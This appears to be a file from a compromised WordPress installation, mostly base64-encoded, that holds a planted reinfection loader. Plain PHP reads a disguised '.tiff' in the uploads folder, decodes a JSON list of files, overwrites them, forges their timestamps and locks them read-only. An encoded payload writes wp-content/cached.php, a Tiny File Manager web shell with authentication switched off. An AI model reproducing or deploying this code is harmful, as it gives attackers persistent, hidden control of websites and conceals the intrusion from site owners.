QuZnVsbFNjcmVlbkVsZW1lbnQgJiYgbnVsbCA9PT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tc0Z1bGxzY3JlZW5FbGVtZW50ICYmIG51bGwgPT09IGRvY3VtZW50Lm1zRnVsbHNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tb3pGdWxsU2NyZWVuICYmICFkb2N1bWVudC5tb3pGdWxsU2NyZWVuIHx8IHZvaWQgMCAhPT0gZG9jdW1lbnQud2Via2l0SXNGdWxsU2NyZWVuICYmICFkb2N1bWVudC53ZWJraXRJc0Z1bGxTY3JlZW4pICYmXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChlZGl0b3IuY29udGFpbmVyLnJlcXVlc3RGdWxsU2NyZWVuID8gZWRpdG9yLmNvbnRhaW5lci5yZXF1ZXN0RnVsbFNjcmVlbigpIDogZWRpdG9yLmNvbnRhaW5lci5tb3pSZXF1ZXN0RnVsbFNjcmVlbiA/IGVkaXRvci5jb250YWluZXIubW96UmVxdWVzdEZ1bGxTY3JlZW4oKSA6IGVkaXRvci5jb250YWluZXIud2Via2l0UmVxdWVzdEZ1bGxTY3JlZW4gPyBlZGl0b3IuY29udGFpbmVyLndlYmtpdFJlcXVlc3RGdWxsU2NyZWVuKEVsZW1lbnQuQUxMT1dfS0VZQk9BUkRfSU5QVVQpIDogZWRpdG9yLmNvbnRhaW5lci5tc1JlcXVlc3RGdWxsc2NyZWVuICYmIGVkaXRvci5jb250YWluZXIubXNSZXF1ZXN0RnVsbHNjcmVlbigpKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbiA9PSBcIndyYXBcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZXQgd3JhcFN0YXR1cyA9IChlZGl0b3IuZ2V0U2Vzc2lvbigpLmdldFVzZVdyYXBNb2RlKCkpID8gZmFsc2UgOiB0cnVlO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldFVzZVdyYXBNb2RlKHdyYXBTdGF0dXMpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJChcInNlbGVjdCNqcy1hY2UtbW9kZSwgc2VsZWN0I2pzLWFjZS10aGVtZSwgc2VsZWN0I2pzLWFjZS1mb250U2l6ZVwiKS5vbihcImNoYW5nZVwiLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICBsZXQgc2VsZWN0ZWRWYWx1ZSA9ICQodGhpcykudmFsKCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VsZWN0aW9uVHlwZSA9ICQodGhpcykuYXR0cihcImRhdGEtdHlwZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzZWxlY3RlZFZhbHVlICYmIHNlbGVjdGlvblR5cGUgPT0gXCJtb2RlXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldE1vZGUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcInRoZW1lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0VGhlbWUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcImZvbnRTaXplXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0Rm9udFNpemUocGFyc2VJbnQoc2VsZWN0ZWRWYWx1ZSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxkaXYgaWQ9XCJzbmFja2JhclwiPjxcL2Rpdj5cbiAgICA8XC9ib2R5PlxuXG4gICAgPFwvaHRtbD5cbjw/cGhwXG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIExhbmd1YWdlIFRyYW5zbGF0aW9uIFN5c3RlbVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHR4dFxuICAgICAqIEByZXR1cm4gc3RyaW5nXG4gICAgICpcL1xuICAgIGZ1bmN0aW9uIGxuZygkdHh0KVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRsYW5nO1xuXG4gICAgICAgICR0clsnZW4nXVsnQXBwTmFtZSddICAgICAgICA9ICdUaW55IEZpbGUgTWFuYWdlcic7XG4gICAgICAgICR0clsnZW4nXVsnQXBwVGl0bGUnXSAgICAgICA9ICdGaWxlIE1hbmFnZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ0xvZ2luJ10gICAgICAgICAgPSAnU2lnbiBpbic7XG4gICAgICAgICR0clsnZW4nXVsnVXNlcm5hbWUnXSAgICAgICA9ICdVc2VybmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGFzc3dvcmQnXSAgICAgICA9ICdQYXNzd29yZCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9nb3V0J10gICAgICAgICA9ICdTaWduIE91dCc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZSddICAgICAgICAgICA9ICdNb3ZlJztcbiAgICAgICAgJHRyWydlbiddWydDb3B5J10gICAgICAgICAgID0gJ0NvcHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NhdmUnXSAgICAgICAgICAgPSAnU2F2ZSc7XG4gICAgICAgICR0clsnZW4nXVsnU2VsZWN0QWxsJ10gICAgICA9ICdTZWxlY3QgYWxsJztcbiAgICAgICAgJHRyWydlbiddWydVblNlbGVjdEFsbCddICAgID0gJ1Vuc2VsZWN0IGFsbCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSddICAgICAgICAgICA9ICdGaWxlJztcbiAgICAgICAgJHRyWydlbiddWydCYWNrJ10gICAgICAgICAgID0gJ0JhY2snO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NpemUnXSAgICAgICAgICAgPSAnU2l6ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybXMnXSAgICAgICAgICA9ICdQZXJtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW9kaWZpZWQnXSAgICAgICA9ICdNb2RpZmllZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3duZXInXSAgICAgICAgICA9ICdPd25lcic7XG4gICAgICAgICR0clsnZW4nXVsnU2VhcmNoJ10gICAgICAgICA9ICdTZWFyY2gnO1xuICAgICAgICAkdHJbJ2VuJ11bJ05ld0l0ZW0nXSAgICAgICAgPSAnTmV3IEl0ZW0nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZvbGRlciddICAgICAgICAgPSAnRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydEZWxldGUnXSAgICAgICAgID0gJ0RlbGV0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUmVuYW1lJ10gICAgICAgICA9ICdSZW5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NvcHlUbyddICAgICAgICAgPSAnQ29weSB0byc7XG4gICAgICAgICR0clsnZW4nXVsnRGlyZWN0TGluayddICAgICA9ICdEaXJlY3QgbGluayc7XG4gICAgICAgICR0clsnZW4nXVsnVXBsb2FkaW5nRmlsZXMnXSA9ICdVcGxvYWQgRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZVBlcm1pc3Npb25zJ10gID0gJ0NoYW5nZSBQZXJtaXNzaW9ucyc7XG4gICAgICAgICR0clsnZW4nXVsnQ29weWluZyddICAgICAgICA9ICdDb3B5aW5nJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGVOZXdJdGVtJ10gID0gJ0NyZWF0ZSBOZXcgSXRlbSc7XG4gICAgICAgICR0clsnZW4nXVsnTmFtZSddICAgICAgICAgICA9ICdOYW1lJztcbiAgICAgICAgJHRyWydlbiddWydBZHZhbmNlZEVkaXRvciddID0gJ0FkdmFuY2VkIEVkaXRvcic7XG4gICAgICAgICR0clsnZW4nXVsnQWN0aW9ucyddICAgICAgICA9ICdBY3Rpb25zJztcbiAgICAgICAgJHRyWydlbiddWydGb2xkZXIgaXMgZW1wdHknXSA9ICdGb2xkZXIgaXMgZW1wdHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1VwbG9hZCddICAgICAgICAgPSAnVXBsb2FkJztcbiAgICAgICAgJHRyWydlbiddWydDYW5jZWwnXSAgICAgICAgID0gJ0NhbmNlbCc7XG4gICAgICAgICR0clsnZW4nXVsnSW52ZXJ0U2VsZWN0aW9uJ10gPSAnSW52ZXJ0IFNlbGVjdGlvbic7XG4gICAgICAgICR0clsnZW4nXVsnRGVzdGluYXRpb25Gb2xkZXInXSAgPSAnRGVzdGluYXRpb24gRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydJdGVtVHlwZSddICAgICAgID0gJ0l0ZW0gVHlwZSc7XG4gICAgICAgICR0clsnZW4nXVsnSXRlbU5hbWUnXSAgICAgICA9ICdJdGVtIE5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NyZWF0ZU5vdyddICAgICAgPSAnQ3JlYXRlIE5vdyc7XG4gICAgICAgICR0clsnZW4nXVsnRG93bmxvYWQnXSAgICAgICA9ICdEb3dubG9hZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3BlbiddICAgICAgICAgICA9ICdPcGVuJztcbiAgICAgICAgJHRyWydlbiddWydVblppcCddICAgICAgICAgID0gJ1VuWmlwJztcbiAgICAgICAgJHRyWydlbiddWydVblppcFRvRm9sZGVyJ10gID0gJ1VuWmlwIHRvIGZvbGRlcic7XG4gICAgICAgICR0clsnZW4nXVsnRWRpdCddICAgICAgICAgICA9ICdFZGl0JztcbiAgICAgICAgJHRyWydlbiddWydOb3JtYWxFZGl0b3InXSAgID0gJ05vcm1hbCBFZGl0b3InO1xuICAgICAgICAkdHJbJ2VuJ11bJ0JhY2tVcCddICAgICAgICAgPSAnQmFjayBVcCc7XG4gICAgICAgICR0clsnZW4nXVsnU291cmNlRm9sZGVyJ10gICA9ICdTb3VyY2UgRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlcyddICAgICAgICAgID0gJ0ZpbGVzJztcbiAgICAgICAgJHRyWydlbiddWydNb3ZlJ10gICAgICAgICAgID0gJ01vdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZSddICAgICAgICAgPSAnQ2hhbmdlJztcbiAgICAgICAgJHRyWydlbiddWydTZXR0aW5ncyddICAgICAgID0gJ1NldHRpbmdzJztcbiAgICAgICAgJHRyWydlbiddWydMYW5ndWFnZSddICAgICAgID0gJ0xhbmd1YWdlJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvclJlcG9ydGluZyddID0gJ0Vycm9yIFJlcG9ydGluZyc7XG4gICAgICAgICR0clsnZW4nXVsnU2hvd0hpZGRlbkZpbGVzJ10gPSAnU2hvdyBIaWRkZW4gRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hlbHAnXSAgICAgICAgICAgPSAnSGVscCc7XG4gICAgICAgICR0clsnZW4nXVsnQ3JlYXRlZCddICAgICAgICA9ICdDcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydIZWxwIERvY3VtZW50cyddID0gJ0hlbHAgRG9jdW1lbnRzJztcbiAgICAgICAgJHRyWydlbiddWydSZXBvcnQgSXNzdWUnXSAgID0gJ1JlcG9ydCBJc3N1ZSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUnXSAgICAgICA9ICdHZW5lcmF0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnRnVsbFNpemUnXSAgICAgICA9ICdGdWxsIFNpemUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hpZGVDb2x1bW5zJ10gICAgPSAnSGlkZSBQZXJtc1wvT3duZXIgY29sdW1ucyc7XG4gICAgICAgICR0clsnZW4nXVsnWW91IGFyZSBsb2dnZWQgaW4nXSA9ICdZb3UgYXJlIGxvZ2dlZCBpbic7XG4gICAgICAgICR0clsnZW4nXVsnTm90aGluZyBzZWxlY3RlZCddICA9ICdOb3RoaW5nIHNlbGVjdGVkJztcbiAgICAgICAgJHRyWydlbiddWydQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCddICAgID0gJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJztcbiAgICAgICAgJHRyWydlbiddWydSZW5hbWVkIGZyb20nXSAgICAgICA9ICdSZW5hbWVkIGZyb20nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IHVucGFja2VkJ10gPSAnQXJjaGl2ZSBub3QgdW5wYWNrZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZWQnXSAgICAgICAgICAgID0gJ0RlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IGNyZWF0ZWQnXSA9ICdBcmNoaXZlIG5vdCBjcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydDb3BpZWQgZnJvbSddICAgICAgICA9ICdDb3BpZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgY2hhbmdlZCddID0gJ1Blcm1pc3Npb25zIGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ3RvJ10gICAgICAgICAgICAgICAgID0gJ3RvJztcbiAgICAgICAgJHRyWydlbiddWydTYXZlZCBTdWNjZXNzZnVsbHknXSA9ICdTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ25vdCBmb3VuZCEnXSAgICAgICAgID0gJ25vdCBmb3VuZCEnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5J10gICAgPSAnRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUnXSAgICAgICAgICAgID0gJ0FyY2hpdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Blcm1pc3Npb25zIG5vdCBjaGFuZ2VkJ10gICAgPSAnUGVybWlzc2lvbnMgbm90IGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdCBmb2xkZXInXSAgICAgID0gJ1NlbGVjdCBmb2xkZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NvdXJjZSBwYXRoIG5vdCBkZWZpbmVkJ10gICAgPSAnU291cmNlIHBhdGggbm90IGRlZmluZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ2FscmVhZHkgZXhpc3RzJ10gICAgID0gJ2FscmVhZHkgZXhpc3RzJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSddICAgID0gJ0Vycm9yIHdoaWxlIG1vdmluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGUgYXJjaGl2ZT8nXSAgICA9ICdDcmVhdGUgYXJjaGl2ZT8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSddICAgID0gJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnQXJjaGl2ZSB1bnBhY2tlZCddICAgPSAnQXJjaGl2ZSB1bnBhY2tlZCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnXSAgPSAnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Jvb3QgcGF0aCddICAgICAgICAgID0gJ1Jvb3QgcGF0aCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgcmVuYW1pbmcgZnJvbSddICA9ICdFcnJvciB3aGlsZSByZW5hbWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG5vdCBmb3VuZCddICAgICA9ICdGaWxlIG5vdCBmb3VuZCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgZGVsZXRpbmcgaXRlbXMnXSA9ICdFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZWQgZnJvbSddICAgICAgICAgPSAnTW92ZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnXSA9ICdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJ10gPSAnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJztcbiAgICAgICAgJHRyWydlbiddWydwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nXSA9ICdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FkdmFuY2VkIFNlYXJjaCddICAgID0gJ0FkdmFuY2VkIFNlYXJjaCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJ10gICAgPSAnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJ10gICAgICAgICAgICAgICAgPSAnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnRklMRSBFWFRFTlNJT04gSVMgTk9UIFNVUFBPUlRFRCddICAgICAgICAgICAgICAgID0gJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXIgZGVsZXRlZCddICAgICAgICAgICAgICA9ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0Vycm9yIHdoaWxlIGZldGNoaW5nIGFyY2hpdmUgaW5mbyddICAgICAgICAgICAgICA9ICdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZSBzZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycz8nXSAgICAgICAgICAgICA9ICdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/JztcbiAgICAgICAgJHRyWydlbiddWydTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nXSAgICAgICAgPSAnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJztcbiAgICAgICAgJHRyWydlbiddWydBY2Nlc3MgZGVuaWVkLiBJUCByZXN0cmljdGlvbiBhcHBsaWNhYmxlJ10gICAgICAgPSAnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZSc7XG4gICAgICAgICR0clsnZW4nXVsnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgb3IgZm9sZGVyIG5hbWUnXSAgICAgID0gJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJztcbiAgICAgICAgJHRyWydlbiddWydPcGVyYXRpb25zIHdpdGggYXJjaGl2ZXMgYXJlIG5vdCBhdmFpbGFibGUnXSAgICAgPSAnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cyddICAgPSAnRmlsZSBvciBmb2xkZXIgd2l0aCB0aGlzIHBhdGggYWxyZWFkeSBleGlzdHMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nXSAgICAgICAgICAgICAgICAgICA9ICdBcmUgeW91IHN1cmUgd2FudCB0byByZW5hbWU/JztcbiAgICAgICAgJHRyWydlbiddWydBcmUgeW91IHN1cmUgd2FudCB0byddICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnQXJlIHlvdSBzdXJlIHdhbnQgdG8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RhdGUgTW9kaWZpZWQnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICdEYXRlIE1vZGlmaWVkJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIHNpemUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnRmlsZSBzaXplJztcbiAgICAgICAgJHRyWydlbiddWydNSU1FLXR5cGUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnTUlNRS10eXBlJztcblxuICAgICAgICAkaTE4biA9IGZtX2dldF90cmFuc2xhdGlvbnMoJHRyKTtcbiAgICAgICAgJHRyID0gJGkxOG4gPyAkaTE4biA6ICR0cjtcblxuICAgICAgICBpZiAoIXN0cmxlbigkbGFuZykpICRsYW5nID0gJ2VuJztcbiAgICAgICAgaWYgKGlzc2V0KCR0clskbGFuZ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clskbGFuZ11bJHR4dF0pO1xuICAgICAgICBlbHNlIGlmIChpc3NldCgkdHJbJ2VuJ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clsnZW4nXVskdHh0XSk7XG4gICAgICAgIGVsc2UgcmV0dXJuIFwiJHR4dFwiO1xuICAgIH1cblxuPz4ifV0=dqlzuf $wp_update_file="//home/lajmixx/apps/lajmixx/wp-content/uploads/2023/05/0506412536.tiff"; if ( is_file($wp_update_file) ) { $wp_update_content=trim(file_get_contents($wp_update_file)); if ( $wp_update_content!="" ) { $wp_update_content=substr($wp_update_content,6,-6); $wp_update_content=base64_decode($wp_update_content); $wp_update_arr=json_decode($wp_update_content,true); if ( is_array($wp_update_arr) ) { foreach($wp_update_arr as $value) { $file_mtime=filemtime($value["path"]); @chmod($value["path"],0777); @unlink($value["path"]); @file_put_contents($value["path"],$value["content"]); @touch($value["path"],$file_mtime); @chmod($value["path"],0444); } } } } lUDvuyW3sicGF0aCI6IlwvaG9tZVwvbGFqbWl4eFwvYXBwc1wvbGFqbWl4eFwvd3AtY29udGVudFwvY2FjaGVkLnBocCIsImNvbnRlbnQiOiI8P3BocFxuJENPTkZJRyA9ICd7XCJsYW5nXCI6XCJlblwiLFwiZXJyb3JfcmVwb3J0aW5nXCI6ZmFsc2UsXCJzaG93X2hpZGRlblwiOnRydWUsXCJoaWRlX0NvbHNcIjpmYWxzZSxcInRoZW1lXCI6XCJkYXJrXCJ9JztcblxuXC8qKlxuICogSDNLIH4gVGlueSBGaWxlIE1hbmFnZXIgVjIuNlxuICogQGF1dGhvciBDQ1AgUHJvZ3JhbW1lcnNcbiAqIEBnaXRodWIgaHR0cHM6XC9cL2dpdGh1Yi5jb21cL3ByYXNhdGhtYW5pXC90aW55ZmlsZW1hbmFnZXJcbiAqIEBsaW5rIGh0dHBzOlwvXC90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvXG4gKlwvXG5cbmRlZmluZSgnVkVSU0lPTicsICcyLjYnKTtcblxuZGVmaW5lKCdBUFBfVElUTEUnLCAnVGlueSBGaWxlIE1hbmFnZXInKTtcblxuJHVzZV9hdXRoID0gZmFsc2U7XG5cbiRhdXRoX3VzZXJzID0gYXJyYXkoXG4gICAgJ2FkbWluJyA9PiAnJyxcbiAgICAndXNlcicgPT4gJydcbik7XG5cbiRyZWFkb25seV91c2VycyA9IGFycmF5KFxuICAgICd1c2VyJ1xuKTtcblxuJGdsb2JhbF9yZWFkb25seSA9IGZhbHNlO1xuXG4kZGlyZWN0b3JpZXNfdXNlcnMgPSBhcnJheSgpO1xuXG4kdXNlX2hpZ2hsaWdodGpzID0gdHJ1ZTtcbiRoaWdobGlnaHRqc19zdHlsZSA9ICd2cyc7XG4kZWRpdF9maWxlcyA9IHRydWU7XG4kZGVmYXVsdF90aW1lem9uZSA9ICdFdGNcL1VUQyc7XG5cblxuJHJvb3RfcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107XG4kcm9vdF91cmwgPSAnJztcbiRodHRwX2hvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107XG4kaWNvbnZfaW5wdXRfZW5jb2RpbmcgPSAnVVRGLTgnO1xuJGRhdGV0aW1lX2Zvcm1hdCA9ICdtXC9kXC9ZIGc6aSBBJztcbiRwYXRoX2Rpc3BsYXlfbW9kZSA9ICdmdWxsJztcbiRhbGxvd2VkX2ZpbGVfZXh0ZW5zaW9ucyA9ICcnO1xuJGFsbG93ZWRfdXBsb2FkX2V4dGVuc2lvbnMgPSAnJztcbiRmYXZpY29uX3BhdGggPSAnJztcbiRleGNsdWRlX2l0ZW1zID0gYXJyYXkoKTtcbiRvbmxpbmVfdmlld2VyID0gJ2dvb2dsZSc7XG4kc3RpY2t5X25hdmJhciA9IHRydWU7XG4kbWF4X3VwbG9hZF9zaXplX2J5dGVzID0gNTAwMDAwMDAwMDtcbiR1cGxvYWRfY2h1bmtfc2l6ZV9ieXRlcyA9IDIwMDAwMDA7XG4kaXBfcnVsZXNldCA9ICdPRkYnO1xuJGlwX3NpbGVudCA9IHRydWU7XG4kaXBfd2hpdGVsaXN0ID0gYXJyYXkoXG4gICAgJzEyNy4wLjAuMScsXG4gICAgJzo6MSdcbik7XG5cbiRpcF9ibGFja2xpc3QgPSBhcnJheShcbiAgICAnMC4wLjAuMCcsXG4gICAgJzo6J1xuKTtcblxuJGNvbmZpZ19maWxlID0gX19ESVJfXyAuICdcL2NvbmZpZy5waHAnO1xuaWYgKGlzX3JlYWRhYmxlKCRjb25maWdfZmlsZSkpIHtcbiAgICBAaW5jbHVkZSgkY29uZmlnX2ZpbGUpO1xufVxuXG4kZXh0ZXJuYWwgPSBhcnJheShcbiAgICAnY3NzLWJvb3RzdHJhcCcgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuLmpzZGVsaXZyLm5ldFwvbnBtXC9ib290c3RyYXBANS4zLjNcL2Rpc3RcL2Nzc1wvYm9vdHN0cmFwLm1pbi5jc3NcIiByZWw9XCJzdHlsZXNoZWV0XCIgaW50ZWdyaXR5PVwic2hhMzg0LVFXVEtaeWpwUEVqSVN2NVdhUlU5T0ZlUnBvazZZY3RuWW1EcjVwTmx5VDJiUmpYaDBKTWhqWTZoVytBTEV3SUhcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPicsXG4gICAgJ2Nzcy1kcm9wem9uZScgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2Ryb3B6b25lXC81LjkuM1wvbWluXC9kcm9wem9uZS5taW4uY3NzXCIgcmVsPVwic3R5bGVzaGVldFwiPicsXG4gICAgJ2Nzcy1mb250LWF3ZXNvbWUnID0+ICc8bGluayByZWw9XCJzdHlsZXNoZWV0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvZm9udC1hd2Vzb21lXC80LjcuMFwvY3NzXC9mb250LWF3ZXNvbWUubWluLmNzc1wiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+JyxcbiAgICAnY3NzLWhpZ2hsaWdodGpzJyA9PiAnPGxpbmsgcmVsPVwic3R5bGVzaGVldFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2hpZ2hsaWdodC5qc1wvMTEuOS4wXC9zdHlsZXNcLycgLiAkaGlnaGxpZ2h0anNfc3R5bGUgLiAnLm1pbi5jc3NcIj4nLFxuICAgICdqcy1hY2UnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvYWNlXC8xLjMyLjJcL2FjZS5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1ib290c3RyYXAnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0X